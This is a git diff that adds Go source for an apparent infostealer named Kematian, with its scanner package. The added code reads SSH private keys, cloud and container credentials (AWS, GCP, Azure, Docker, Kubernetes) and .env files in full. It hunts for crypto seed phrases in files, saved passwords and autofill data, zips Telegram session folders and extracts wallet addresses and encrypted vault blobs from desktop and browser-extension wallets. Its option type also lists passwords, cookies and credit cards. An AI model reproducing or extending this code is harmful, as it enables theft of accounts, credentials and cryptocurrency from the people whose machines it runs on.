contentFileTags(fullPath, ext, info.Size()); len(contentTags) > 0 { + tags = contentTags + } + + *results = append(*results, types.FileResult{ + Path: fullPath, + Name: name, + Ext: ext, + Size: info.Size(), + Modified: info.ModTime().Unix(), + Dir: label, + Tags: tags, + }) + } +} + +// looksLikeSeedLine returns true if every word is 3–8 lowercase letters. +// BIP39 words are exclusively lowercase a–z with lengths in that range. +func looksLikeSeedLine(words []string) bool { + if !seedPhraseLengths[len(words)] { + return false + } + for _, w := range words { + if len(w) < 3 || len(w) > 8 { + return false + } + for _, c := range w { + if c < 'a' || c > 'z' { + return false + } + } + } + return true +} + +// FetchFile reads a file and returns its raw bytes. +// Returns an error if the file exceeds MaxFetchSize or does not exist. +func FetchFile(path string) ([]byte, error) { + info, err := os.Stat(path) + if err != nil { + return nil, fmt.Errorf("file not found") + } + if info.IsDir() { + return nil, fmt.Errorf("path is a directory") + } + if info.Size() > MaxFetchSize { + return nil, fmt.Errorf("file too large (%d bytes, max %d)", info.Size(), MaxFetchSize) + } + return os.ReadFile(path) +} diff --git a/Kematian-Standalone/native/recovery/scanner/files_unix.go b/Kematian-Standalone/native/recovery/scanner/files_unix.go new file mode 100644 index 0000000..a3a3ff9 --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/files_unix.go @@ -0,0 +1,14 @@ +//go:build !windows + +package scanner + +func getScanLocations() []scanLocation { + return []scanLocation{ + {"Desktop", "Desktop"}, + {"Documents", "Documents"}, + {"Downloads", "Downloads"}, + {".local/share", ".local/share"}, + {"Dropbox", "Dropbox"}, + {"snap", "Snap"}, + } +} diff --git a/Kematian-Standalone/native/recovery/scanner/files_windows.go b/Kematian-Standalone/native/recovery/scanner/files_windows.go new file mode 100644 index 0000000..ab8eab2 --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/files_windows.go @@ -0,0 +1,17 @@ +//go:build windows + +package scanner + +func getScanLocations() []scanLocation { + return []scanLocation{ + {"Desktop", "Desktop"}, + {"Documents", "Documents"}, + {"Downloads", "Downloads"}, + {`OneDrive\Desktop`, "OneDrive/Desktop"}, + {`OneDrive\Documents`, "OneDrive/Documents"}, + {`OneDrive - Personal\Desktop`, "OneDrive/Desktop"}, + {`OneDrive - Personal\Documents`, "OneDrive/Documents"}, + {`OneDrive - Business\Desktop`, "OneDrive/Desktop"}, + {`OneDrive - Business\Documents`, "OneDrive/Documents"}, + } +} diff --git a/Kematian-Standalone/native/recovery/scanner/keys.go b/Kematian-Standalone/native/recovery/scanner/keys.go new file mode 100644 index 0000000..11c82a3 --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/keys.go @@ -0,0 +1,313 @@ +package scanner + +import ( + "os" + "path/filepath" + "runtime" + "strings" + + "recovery/recovery/types" +) + +const maxKeyFileSize = 512 * 1024 // 512KB + +func gcpConfigDir(home string) string { + if runtime.GOOS == "windows" { + return filepath.Join(home, "AppData", "Roaming", "gcloud") + } + return filepath.Join(home, ".config", "gcloud") +} + +func ScanKeys() []types.KeyResult { + var results []types.KeyResult + home, _ := os.UserHomeDir() + if home == "" { + return nil + } + + results = append(results, scanSSHKeys(home)...) + results = append(results, scanAWSCredentials(home)...) + results = append(results, scanGCPCredentials(home)...) + results = append(results, scanAzureCredentials(home)...) + results = append(results, scanDockerCredentials(home)...) + results = append(results, scanKubeConfig(home)...) + results = append(results, scanEnvFiles(home)...) + + return results +} + +func scanSSHKeys(home string) []types.KeyResult { + sshDir := filepath.Join(home, ".ssh") + entries, err := os.ReadDir(sshDir) + if err != nil { + return nil + } + + var results []types.KeyResult + for _, e := range entries { + if e.IsDir() { + continue + } + name := e.Name() + if name == "known_hosts" || name == "authorized_keys" || strings.HasSuffix(name, ".pub") || name == "config" { + continue + } + + path := filepath.Join(sshDir, name) + info, err := e.Info() + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + continue + } + + data, err := os.ReadFile(path) + if err != nil { + continue + } + content := string(data) + + if isPrivateKey(content) { + results = append(results, types.KeyResult{ + Type: "ssh", + Name: name, + Path: path, + Size: info.Size(), + Content: content, + }) + } + } + + configPath := filepath.Join(sshDir, "config") + if info, err := os.Stat(configPath); err == nil && info.Size() < maxKeyFileSize { + if data, err := os.ReadFile(configPath); err == nil && len(data) > 0 { + results = append(results, types.KeyResult{ + Type: "ssh_config", + Name: "config", + Path: configPath, + Size: info.Size(), + Content: string(data), + }) + } + } + + return results +} + +func isPrivateKey(content string) bool { + markers := []string{ + "-----BEGIN OPENSSH PRIVATE KEY-----", + "-----BEGIN RSA PRIVATE KEY-----", + "-----BEGIN EC PRIVATE KEY-----", + "-----BEGIN DSA PRIVATE KEY-----", + "-----BEGIN PRIVATE KEY-----", + "-----BEGIN ENCRYPTED PRIVATE KEY-----", + "PuTTY-User-Key-File-", + } + for _, m := range markers { + if strings.Contains(content, m) { + return true + } + } + return false +} + +func scanAWSCredentials(home string) []types.KeyResult { + var results []types.KeyResult + awsDir := filepath.Join(home, ".aws") + + for _, name := range []string{"credentials", "config"} { + path := filepath.Join(awsDir, name) + info, err := os.Stat(path) + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + continue + } + data, err := os.ReadFile(path) + if err != nil { + continue + } + results = append(results, types.KeyResult{ + Type: "aws", + Name: name, + Path: path, + Size: info.Size(), + Content: string(data), + }) + } + + return results +} + +func scanGCPCredentials(home string) []types.KeyResult { + var results []types.KeyResult + + gcpDir := gcpConfigDir(home) + candidates := []string{ + filepath.Join(gcpDir, "application_default_credentials.json"), + filepath.Join(gcpDir, "credentials.db"), + filepath.Join(gcpDir, "properties"), + } + + for _, dir := range []string{ + filepath.Join(home, "Desktop"), + filepath.Join(home, "Documents"), + filepath.Join(home, "Downloads"), + } { + entries, err := os.ReadDir(dir) + if err != nil { + continue + } + for _, e := range entries { + if e.IsDir() { + continue + } + name := e.Name() + if strings.HasSuffix(name, ".json") && (strings.Contains(name, "service") || strings.Contains(name, "gcp") || strings.Contains(name, "google")) { + candidates = append(candidates, filepath.Join(dir, name)) + } + } + } + + for _, path := range candidates { + info, err := os.Stat(path) + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + continue + } + data, err := os.ReadFile(path) + if err != nil { + continue + } + content := string(data) + if strings.Contains(content, "client_secret") || strings.Contains(content, "private_key") || strings.Contains(content, "type") { + results = append(results, types.KeyResult{ + Type: "gcp", + Name: filepath.Base(path), + Path: path, + Size: info.Size(), + Content: content, + }) + } + } + + return results +} + +func scanAzureCredentials(home string) []types.KeyResult { + var results []types.KeyResult + + azureDir := filepath.Join(home, ".azure") + candidates := []string{ + filepath.Join(azureDir, "accessTokens.json"), + filepath.Join(azureDir, "azureProfile.json"), + filepath.Join(azureDir, "msal_token_cache.json"), + filepath.Join(azureDir, "service_principal_entries.json"), + } + + for _, path := range candidates { + info, err := os.Stat(path) + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + continue + } + data, err := os.ReadFile(path) + if err != nil { + continue + } + results = append(results, types.KeyResult{ + Type: "azure", + Name: filepath.Base(path), + Path: path, + Size: info.Size(), + Content: string(data), + }) + } + + return results +} + +func scanDockerCredentials(home string) []types.KeyResult { + var results []types.KeyResult + + path := filepath.Join(home, ".docker", "config.json") + info, err := os.Stat(path) + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + return nil + } + data, err := os.ReadFile(path) + if err != nil { + return nil + } + if strings.Contains(string(data), "auths") { + results = append(results, types.KeyResult{ + Type: "docker", + Name: "config.json", + Path: path, + Size: info.Size(), + Content: string(data), + }) + } + return results +} + +func scanKubeConfig(home string) []types.KeyResult { + var results []types.KeyResult + + path := filepath.Join(home, ".kube", "config") + info, err := os.Stat(path) + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + return nil + } + data, err := os.ReadFile(path) + if err != nil { + return nil + } + results = append(results, types.KeyResult{ + Type: "kubernetes", + Name: "config", + Path: path, + Size: info.Size(), + Content: string(data), + }) + return results +} + +func scanEnvFiles(home string) []types.KeyResult { + var results []types.KeyResult + + searchDirs := []string{ + filepath.Join(home, "Desktop"), + filepath.Join(home, "Documents"), + filepath.Join(home, "Downloads"), + } + + for _, dir := range searchDirs { + entries, err := os.ReadDir(dir) + if err != nil { + continue + } + for _, e := range entries { + if e.IsDir() { + continue + } + name := e.Name() + if name != ".env" && !strings.HasPrefix(name, ".env.") { + continue + } + path := filepath.Join(dir, name) + info, err := e.Info() + if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 { + continue + } + data, err := os.ReadFile(path) + if err != nil { + continue + } + results = append(results, types.KeyResult{ + Type: "env", + Name: name, + Path: path, + Size: info.Size(), + Content: string(data), + }) + } + } + + return results +} diff --git a/Kematian-Standalone/native/recovery/scanner/log.go b/Kematian-Standalone/native/recovery/scanner/log.go new file mode 100644 index 0000000..121430c --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/log.go @@ -0,0 +1,7 @@ +package scanner + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[scanner] "+format, args...) +} diff --git a/Kematian-Standalone/native/recovery/scanner/seeds.go b/Kematian-Standalone/native/recovery/scanner/seeds.go new file mode 100644 index 0000000..46a9fbb --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/seeds.go @@ -0,0 +1,274 @@ +package scanner + +import ( + "os" + "regexp" + "strings" + + "recovery/recovery/types" +) + +// BIP39-valid word counts +var validSeedLengths = map[int]bool{ + 12: true, 15: true, 18: true, 21: true, 24: true, +} + +const seedScanMaxFileSize = 1 * 1024 * 1024 // 1MB + +var seedScanFileExts = map[string]bool{ + ".txt": true, ".md": true, ".csv": true, ".tsv": true, + ".log": true, ".rtf": true, ".json": true, ".xml": true, + ".env": true, ".cfg": true, ".conf": true, ".ini": true, + ".bak": true, ".old": true, ".tmp": true, ".note": true, + ".doc": true, ".nfo": true, ".asc": true, ".key": true, + ".pem": true, ".p12": true, ".ppk": true, ".der": true, ".pfx": true, +} + +// contentScanExts are the text formats read during the file listing scan to +// look for sensitive plaintext (BIP39 seed phrases, PEM private keys). +var contentScanExts = seedScanFileExts + +// privateKeyRe matches PEM private-key header lines. The optional algorithm +// prefix covers RSA/EC/OPENSSH/DSA/ENCRYPTED keys plus the bare PKCS#8 form. +var privateKeyRe = regexp.MustCompile(`(?m)^-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED )?PRIVATE KEY-----`) + +// contentFileTags reads a small text file once and returns the security tags +// that apply to it: "seed" when it contains a BIP39 phrase and "key" when it +// contains a PEM private-key header. Returns nil when the file is not a +// recognized text format or is too large to scan. +func contentFileTags(path, ext string, size int64) []string { + if !contentScanExts[ext] || size == 0 || size > seedScanMaxFileSize { + return nil + } + data, err := os.ReadFile(path) + if err != nil { + return nil + } + + var tags []string + content := strings.ToLower(string(data)) + if looksLikeSeedLine(strings.Fields(content)) { + tags = append(tags, "seed") + } else { + for _, line := range strings.Split(content, "\n") { + if looksLikeSeedLine(strings.Fields(strings.TrimSpace(line))) { + tags = append(tags, "seed") + break + } + } + } + // PEM headers are case-sensitive, so match against the raw bytes. + if privateKeyRe.Match(data) { + tags = append(tags, "key") + } + return tags +} + +// numberedLineRe strips leading "1." / "1)" / "1:" / "1 -" prefixes from numbered lists +var numberedLineRe = regexp.MustCompile(`^\s*\d{1,2}\s*[.):\-]\s*`) + +// ScanSeeds searches collected data for BIP39 seed phrases. +// Checks file contents, password values, and autofill values. +func ScanSeeds(files []types.FileResult, passwords []types.PasswordResult, autofill []types.AutofillResult) []types.SeedResult { + seen := make(map[string]bool) + var results []types.SeedResult + + // Scan files + for _, f := range files { + if f.Size > seedScanMaxFileSize || f.Size == 0 { + continue + } + if !seedScanFileExts[f.Ext] { + continue + } + data, err := os.ReadFile(f.Path) + if err != nil { + continue + } + for _, phrase := range extractSeedPhrases(string(data)) { + if !seen[phrase] { + seen[phrase] = true + results = append(results, types.SeedResult{ + Source: "file", + Path: f.Path, + Phrase: phrase, + Words: len(strings.Fields(phrase)), + }) + } + } + } + + // Scan passwords + for _, p := range passwords { + for _, phrase := range extractSeedPhrases(p.Password) { + if !seen[phrase] { + seen[phrase] = true + results = append(results, types.SeedResult{ + Source: "password", + Path: p.URL, + Phrase: phrase, + Words: len(strings.Fields(phrase)), + }) + } + } + for _, phrase := range extractSeedPhrases(p.Username) { + if !seen[phrase] { + seen[phrase] = true + results = append(results, types.SeedResult{ + Source: "password", + Path: p.URL, + Phrase: phrase, + Words: len(strings.Fields(phrase)), + }) + } + } + } + + // Scan autofill values + for _, a := range autofill { + for _, phrase := range extractSeedPhrases(a.Value) { + if !seen[phrase] { + seen[phrase] = true + results = append(results, types.SeedResult{ + Source: "autofill", + Path: a.Name, + Phrase: phrase, + Words: len(strings.Fields(phrase)), + }) + } + } + } + + return results +} + +// extractSeedPhrases finds all BIP39-like seed phrases in text content. +// Handles: space-separated, comma-separated, numbered lists, newline-separated. +func extractSeedPhrases(content string) []string { + if len(content) == 0 { + return nil + } + + content = strings.ToLower(content) + var found []string + + // Strategy 1: full content as one phrase (file contains only the seed) + if phrase := tryExtractPhrase(content); phrase != "" { + found = append(found, phrase) + return found + } + + // Strategy 2: line-by-line (seed on one line) + for _, line := range strings.Split(content, "\n") { + line = strings.TrimSpace(line) + if line == "" { + continue + } + if phrase := tryExtractPhrase(line); phrase != "" { + found = append(found, phrase) + } + } + + // Strategy 3: numbered list — collect words from "1. word\n2. word\n..." + if phrase := tryNumberedList(content); phrase != "" { + if !containsPhrase(found, phrase) { + found = append(found, phrase) + } + } + + // Strategy 4: comma-separated words + if strings.Contains(content, ",") { + normalized := strings.ReplaceAll(content, ",", " ") + if phrase := tryExtractPhrase(normalized); phrase != "" { + if !containsPhrase(found, phrase) { + found = append(found, phrase) + } + } + } + + return found +} + +// tryExtractPhrase checks if text contains a valid seed phrase +func tryExtractPhrase(text string) string { + words := strings.Fields(text) + if isValidSeedPhrase(words) { + return strings.Join(words, " ") + } + + // Try sliding window for phrases embedded in longer text + for _, count := range []int{24, 21, 18, 15, 12} { + if len(words) < count { + continue + } + for i := 0; i <= len(words)-count; i++ { + window := words[i : i+count] + if isValidSeedPhrase(window) { + return strings.Join(window, " ") + } + } + } + return "" +} + +// tryNumberedList extracts words from numbered list format: +// "1. abandon\n2. ability\n3. able\n..." +func tryNumberedList(content string) string { + lines := strings.Split(content, "\n") + var words []string + for _, line := range lines { + line = strings.TrimSpace(line) + if line == "" { + continue + } + cleaned := numberedLineRe.ReplaceAllString(line, "") + cleaned = strings.TrimSpace(cleaned) + if cleaned == "" { + continue + } + // Each numbered line should have exactly one word + lineWords := strings.Fields(cleaned) + if len(lineWords) == 1 && isBIP39Word(lineWords[0]) { + words = append(words, lineWords[0]) + } + } + if isValidSeedPhrase(words) { + return strings.Join(words, " ") + } + return "" +} + +func isValidSeedPhrase(words []string) bool { + if !validSeedLengths[len(words)] { + return false + } + for _, w := range words { + if !isBIP39Word(w) { + return false + } + } + return true +} + +// isBIP39Word checks if a word matches BIP39 characteristics: +// lowercase a-z only, 3-8 characters. +func isBIP39Word(w string) bool { + if len(w) < 3 || len(w) > 8 { + return false + } + for _, c := range w { + if c < 'a' || c > 'z' { + return false + } + } + return true +} + +func containsPhrase(phrases []string, phrase string) bool { + for _, p := range phrases { + if p == phrase { + return true + } + } + return false +} diff --git a/Kematian-Standalone/native/recovery/scanner/telegram.go b/Kematian-Standalone/native/recovery/scanner/telegram.go new file mode 100644 index 0000000..e393098 --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/telegram.go @@ -0,0 +1,234 @@ +package scanner + +import ( + "os" + "path/filepath" + "strings" + + "recovery/recovery/types" + "recovery/recovery/ziputil" +) + +type telegramPathConfig struct { + name string + subPath string + base string +} + +var tdataSessionFiles = map[string]bool{ + "key_datas": true, + "usertag": true, + "settings0": true, + "settings1": true, + "configs": true, +} + +func isTdataSessionDir(name string) bool { + if len(name) != 16 { + return false + } + for _, c := range name { + if !((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) { + return false + } + } + return true +} + +func ScanTelegram() []types.TelegramResult { + var results []types.TelegramResult + + for _, tp := range getTelegramPaths() { + base := resolveTelegramBase(tp.base) + if base == "" { + continue + } + + tdataDir := filepath.Join(base, tp.subPath) + if _, err := os.Stat(tdataDir); err != nil { + continue + } + + accounts := findTelegramAccounts(tdataDir) + for _, acc := range accounts { + results = append(results, types.TelegramResult{ + Account: acc.account, + Path: acc.path, + Files: acc.files, + Size: acc.size, + }) + } + } + + return results +} + +type telegramAccount struct { + account string + path string + files int + size int64 +} + +func findTelegramAccounts(tdataDir string) []telegramAccount { + var accounts []telegramAccount + + entries, err := os.ReadDir(tdataDir) + if err != nil { + return nil + } + + hasKeyData := false + for _, e := range entries { + if !e.IsDir() && e.Name() == "key_datas" { + hasKeyData = true + break + } + } + + if hasKeyData { + files, size := countTdataFiles(tdataDir) + if files > 0 { + accounts = append(accounts, telegramAccount{ + account: "Main", + path: tdataDir, + files: files, + size: size, + }) + } + } + + for _, e := range entries { + if !e.IsDir() { + continue + } + name := e.Name() + if !isTdataSessionDir(name) { + continue + } + sessionDir := filepath.Join(tdataDir, name) + sessionEntries, err := os.ReadDir(sessionDir) + if err != nil { + continue + } + hasData := false + for _, se := range sessionEntries { + if !se.IsDir() { + hasData = true + break + } + } + if hasData { + files, size := countTdataSessionFiles(sessionDir) + accounts = append(accounts, telegramAccount{ + account: name, + path: sessionDir, + files: files, + size: size, + }) + } + } + + return accounts +} + +func countTdataFiles(tdataDir string) (int, int64) { + var count int + var totalSize int64 + + entries, err := os.ReadDir(tdataDir) + if err != nil { + return 0, 0 + } + + for _, e := range entries { + if e.IsDir() { + continue + } + name := e.Name() + if tdataSessionFiles[name] || strings.HasSuffix(name, "s") && tdataSessionFiles[strings.TrimSuffix(name, "s")] { + info, err := e.Info() + if err != nil { + continue + } + count++ + totalSize += info.Size() + } + } + + return count, totalSize +} + +func countTdataSessionFiles(dir string) (int, int64) { + var count int + var totalSize int64 + + filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() { + return nil + } + count++ + totalSize += info.Size() + return nil + }) + + return count, totalSize +} + +func ZipTelegram(path string) ([]byte, error) { + info, err := os.Stat(path) + if err != nil { + return nil, err + } + if !info.IsDir() { + return nil, os.ErrNotExist + } + + // If this is a session subfolder (hex name), just zip its contents directly + if isTdataSessionDir(filepath.Base(path)) { + return ziputil.ZipDirectory(path) + } + + // Otherwise this is the tdata root — zip key files + session subdirs + return zipTdataRoot(path) +} + +func zipTdataRoot(tdataDir string) ([]byte, error) { + entries, err := os.ReadDir(tdataDir) + if err != nil { + return nil, err + } + + var filesToZip []string + + for _, e := range entries { + name := e.Name() + if e.IsDir() { + if isTdataSessionDir(name) { + sessionDir := filepath.Join(tdataDir, name) + filepath.Walk(sessionDir, func(path string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() { + return nil + } + if info.Size() < 50*1024*1024 { + filesToZip = append(filesToZip, path) + } + return nil + }) + } + } else { + if tdataSessionFiles[name] || strings.HasPrefix(name, "key_data") || strings.HasPrefix(name, "map") { + info, _ := e.Info() + if info != nil && info.Size() < 50*1024*1024 { + filesToZip = append(filesToZip, filepath.Join(tdataDir, name)) + } + } + } + } + + if len(filesToZip) == 0 { + return nil, os.ErrNotExist + } + + return ziputil.ZipFiles(filesToZip, tdataDir) +} diff --git a/Kematian-Standalone/native/recovery/scanner/telegram_unix.go b/Kematian-Standalone/native/recovery/scanner/telegram_unix.go new file mode 100644 index 0000000..70f85c0 --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/telegram_unix.go @@ -0,0 +1,51 @@ +//go:build !windows + +package scanner + +import ( + "os" + "path/filepath" + "runtime" +) + +func getTelegramPaths() []telegramPathConfig { + if runtime.GOOS == "darwin" { + return []telegramPathConfig{ + {"Telegram Desktop", "Telegram Desktop/tdata", "appdata"}, + {"Kotatogram", "Kotatogram Desktop/tdata", "appdata"}, + {"64Gram", "64Gram Desktop/tdata", "appdata"}, + } + } + // Linux + return []telegramPathConfig{ + {"Telegram Desktop", "TelegramDesktop/tdata", "home_data"}, + {"Telegram Desktop (flatpak)", ".var/app/org.telegram.desktop/data/TelegramDesktop/tdata", "home"}, + {"Telegram Desktop (snap)", "snap/telegram-desktop/current/.local/share/TelegramDesktop/tdata", "home"}, + {"Kotatogram", "KotatogramDesktop/tdata", "home_data"}, + {"64Gram", "64Gram Desktop/tdata", "home_data"}, + } +} + +func resolveTelegramBase(base string) string { + home, _ := os.UserHomeDir() + switch base { + case "home": + return home + case "home_data": + xdg := os.Getenv("XDG_DATA_HOME") + if xdg != "" { + return xdg + } + return filepath.Join(home, ".local", "share") + case "appdata": + if runtime.GOOS == "darwin" { + return filepath.Join(home, "Library", "Application Support") + } + return filepath.Join(home, ".config") + case "localappdata": + return filepath.Join(home, ".local", "share") + case "userprofile": + return home + } + return "" +} diff --git a/Kematian-Standalone/native/recovery/scanner/telegram_windows.go b/Kematian-Standalone/native/recovery/scanner/telegram_windows.go new file mode 100644 index 0000000..6417dc0 --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/telegram_windows.go @@ -0,0 +1,27 @@ +//go:build windows + +package scanner + +import "os" + +func getTelegramPaths() []telegramPathConfig { + return []telegramPathConfig{ + {"Telegram Desktop", `Telegram Desktop\tdata`, "appdata"}, + {"Telegram Desktop (alt)", `Telegram Desktop\tdata`, "userprofile"}, + {"Kotatogram", `Kotatogram Desktop\tdata`, "appdata"}, + {"64Gram", `64Gram Desktop\tdata`, "appdata"}, + {"Unigram", `Unigram\$local\tdata`, "localappdata"}, + } +} + +func resolveTelegramBase(base string) string { + switch base { + case "appdata": + return os.Getenv("APPDATA") + case "localappdata": + return os.Getenv("LOCALAPPDATA") + case "userprofile": + return os.Getenv("USERPROFILE") + } + return "" +} diff --git a/Kematian-Standalone/native/recovery/scanner/wallets.go b/Kematian-Standalone/native/recovery/scanner/wallets.go new file mode 100644 index 0000000..aa6123f --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/wallets.go @@ -0,0 +1,179 @@ +package scanner + +import ( + "bufio" + "fmt" + "os" + "path/filepath" + "regexp" + "strings" + + "recovery/recovery/browser" + "recovery/recovery/types" +) + +type walletConfig struct { + Name string + SubPath string + Base string // "appdata", "localappdata", "userprofile", "home" +} + +var ethAddrRe = regexp.MustCompile(`0x[0-9a-fA-F]{40}`) +var vaultRe = regexp.MustCompile(`\{"data":"[A-Za-z0-9+/=]+","iv":"[A-Za-z0-9+/=]+","salt":"[A-Za-z0-9+/=]+(?:","lib":"[^"]*")?\}`) + +const maxFileReadSize = 10 * 1024 * 1024 // 10MB per file +const maxAddresses = 50 + +func ScanWallets() []types.WalletResult { + var results []types.WalletResult + results = append(results, scanDesktopWallets()...) + results = append(results, scanBrowserWalletData()...) + return results +} + +func scanDesktopWallets() []types.WalletResult { + var results []types.WalletResult + for _, w := range getDesktopWalletPaths() { + base := resolveWalletBase(w.Base) + if base == "" { + continue + } + + dir := filepath.Join(base, w.SubPath) + info, err := os.Stat(dir) + if err != nil || !info.IsDir() { + continue + } + + files, totalSize := countDirContents(dir) + if files == 0 { + continue + } + + wr := types.WalletResult{ + Name: w.Name, + Type: "desktop", + Path: dir, + Files: files, + Size: totalSize, + } + wr.Addresses = extractAddressesFromDir(dir) + results = append(results, wr) + } + return results +} + +func scanBrowserWalletData() []types.WalletResult { + var results []types.WalletResult + for _, cfg := range browser.Browsers { + if cfg.IsFirefox { + continue + } + profiles := browser.FindProfileDirs(cfg) + for _, profile := range profiles { + lesDir := filepath.Join(profile.Path, "Local Extension Settings") + for extID, walletName := range knownWalletExtensions { + extDataDir := filepath.Join(lesDir, extID) + info, err := os.Stat(extDataDir) + if err != nil || !info.IsDir() { + continue + } + files, totalSize := countDirContents(extDataDir) + if files == 0 { + continue + } + wr := types.WalletResult{ + Name: fmt.Sprintf("%s (%s/%s)", walletName, cfg.Name, profile.Name), + Type: "extension", + Path: extDataDir, + Files: files, + Size: totalSize, + } + wr.Addresses = extractAddressesFromDir(extDataDir) + wr.VaultData = extractVaultData(extDataDir) + results = append(results, wr) + } + } + } + return results +} + +func extractAddressesFromDir(dir string) []string { + seen := make(map[string]bool) + var addrs []string + + filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() || info.Size() == 0 || info.Size() > maxFileReadSize { + return nil + } + if len(addrs) >= maxAddresses { + return filepath.SkipAll + } + + f, err := os.Open(path) + if err != nil { + return nil + } + defer f.Close() + + scanner := bufio.NewScanner(f) + scanner.Buffer(make([]byte, 256*1024), 256*1024) + for scanner.Scan() { + matches := ethAddrRe.FindAllString(scanner.Text(), -1) + for _, m := range matches { + addr := strings.ToLower(m) + if !seen[addr] { + seen[addr] = true + addrs = append(addrs, m) + if len(addrs) >= maxAddresses { + return filepath.SkipAll + } + } + } + } + return nil + }) + return addrs +} + +func extractVaultData(dir string) string { + var vault string + filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() || vault != "" { + return nil + } + ext := strings.ToLower(filepath.Ext(path)) + if ext != ".ldb" && ext != ".log" { + return nil + } + if info.Size() == 0 || info.Size() > maxFileReadSize { + return nil + } + + data, err := os.ReadFile(path) + if err != nil { + return nil + } + match := vaultRe.Find(data) + if match != nil { + vault = string(match) + return filepath.SkipAll + } + return nil + }) + return vault +} + +func countDirContents(dir string) (int, int64) { + var count int + var totalSize int64 + filepath.Walk(dir, func(_ string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() { + return nil + } + count++ + totalSize += info.Size() + return nil + }) + return count, totalSize +} diff --git a/Kematian-Standalone/native/recovery/scanner/wallets_unix.go b/Kematian-Standalone/native/recovery/scanner/wallets_unix.go new file mode 100644 index 0000000..9bcb385 --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/wallets_unix.go @@ -0,0 +1,60 @@ +//go:build !windows + +package scanner + +import ( + "os" + "path/filepath" + "runtime" +) + +func getDesktopWalletPaths() []walletConfig { + if runtime.GOOS == "darwin" { + return []walletConfig{ + {"Atomic", "atomic/Local Storage/leveldb", "appdata"}, + {"Exodus", "Exodus/exodus.wallet", "appdata"}, + {"Electrum", "Electrum/wallets", "home_dot"}, + {"Ethereum", "Ethereum/keystore", "home_dot"}, + {"Coinomi", "Coinomi/wallets", "appdata"}, + } + } + // Linux + return []walletConfig{ + {"Atomic", "atomic/Local Storage/leveldb", "config"}, + {"Exodus", "Exodus/exodus.wallet", "config"}, + {"Electrum", ".electrum/wallets", "home"}, + {"Electrum-LTC", ".electrum-ltc/wallets", "home"}, + {"Ethereum", ".ethereum/keystore", "home"}, + {"Monero", "Monero/wallets", "home"}, + {"Armory", ".armory", "home"}, + {"Bytecoin", ".bytecoin", "home"}, + {"Coinomi", ".coinomi/Coinomi/wallets", "home"}, + } +} + +func resolveWalletBase(base string) string { + home, _ := os.UserHomeDir() + switch base { + case "home", "userprofile": + return home + case "home_dot": + return filepath.Join(home, ".") + case "appdata": + if runtime.GOOS == "darwin" { + return filepath.Join(home, "Library", "Application Support") + } + return filepath.Join(home, ".config") + case "config": + xdg := os.Getenv("XDG_CONFIG_HOME") + if xdg != "" { + return xdg + } + return filepath.Join(home, ".config") + case "localappdata": + if runtime.GOOS == "darwin" { + return filepath.Join(home, "Library", "Application Support") + } + return filepath.Join(home, ".local", "share") + } + return "" +} diff --git a/Kematian-Standalone/native/recovery/scanner/wallets_windows.go b/Kematian-Standalone/native/recovery/scanner/wallets_windows.go new file mode 100644 index 0000000..4d4e78f --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/wallets_windows.go @@ -0,0 +1,37 @@ +//go:build windows + +package scanner + +import "os" + +func getDesktopWalletPaths() []walletConfig { + return []walletConfig{ + {"Atomic", `atomic\Local Storage\leveldb`, "appdata"}, + {"Exodus", `Exodus\exodus.wallet`, "appdata"}, + {"Electrum", `Electrum\wallets`, "appdata"}, + {"Electrum-LTC", `Electrum-LTC\wallets`, "appdata"}, + {"Zcash", `Zcash`, "appdata"}, + {"Armory", `Armory`, "appdata"}, + {"Bytecoin", `bytecoin`, "appdata"}, + {"Jaxx", `com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb`, "appdata"}, + {"Ethereum", `Ethereum\keystore`, "appdata"}, + {"Guarda", `Guarda\Local Storage\leveldb`, "appdata"}, + {"Coinomi", `Coinomi\Coinomi\wallets`, "appdata"}, + {"Monero", `Documents\Monero\wallets`, "userprofile"}, + } +} + +func resolveWalletBase(base string) string { + switch base { + case "appdata": + return os.Getenv("APPDATA") + case "localappdata": + return os.Getenv("LOCALAPPDATA") + case "userprofile": + return os.Getenv("USERPROFILE") + case "home": + home, _ := os.UserHomeDir() + return home + } + return "" +} diff --git a/Kematian-Standalone/native/recovery/types/types.go b/Kematian-Standalone/native/recovery/types/types.go new file mode 100644 index 0000000..927295f --- /dev/null +++ b/Kematian-Standalone/native/recovery/types/types.go @@ -0,0 +1,275 @@ +package types + +type BrowserConfig struct { + Name string + UserDataPath string + ProcessName string + UseAppData bool + IsFirefox bool + FlatProfile bool +} + +type ProfileInfo struct { + Name string + Path string +} + +type CollectOptions struct { + Browsers bool `json:"browsers"` + Passwords bool `json:"passwords"` + Cookies bool `json:"cookies"` + Autofill bool `json:"autofill"` + History bool `json:"history"` + Bookmarks bool `json:"bookmarks"` + CreditCards bool `json:"creditCards"` + Discord bool `json:"discord"` + Files bool `json:"files"` + Wallets bool `json:"wallets"` + Telegram bool `json:"telegram"` + Keys bool `json:"keys"` + Apps bool `json:"apps"` + Gaming bool `json:"gaming"` + VPNs bool `json:"vpns"` +} + +type ResolvedKeys struct { + V10 []byte + V20 []byte +} + +type 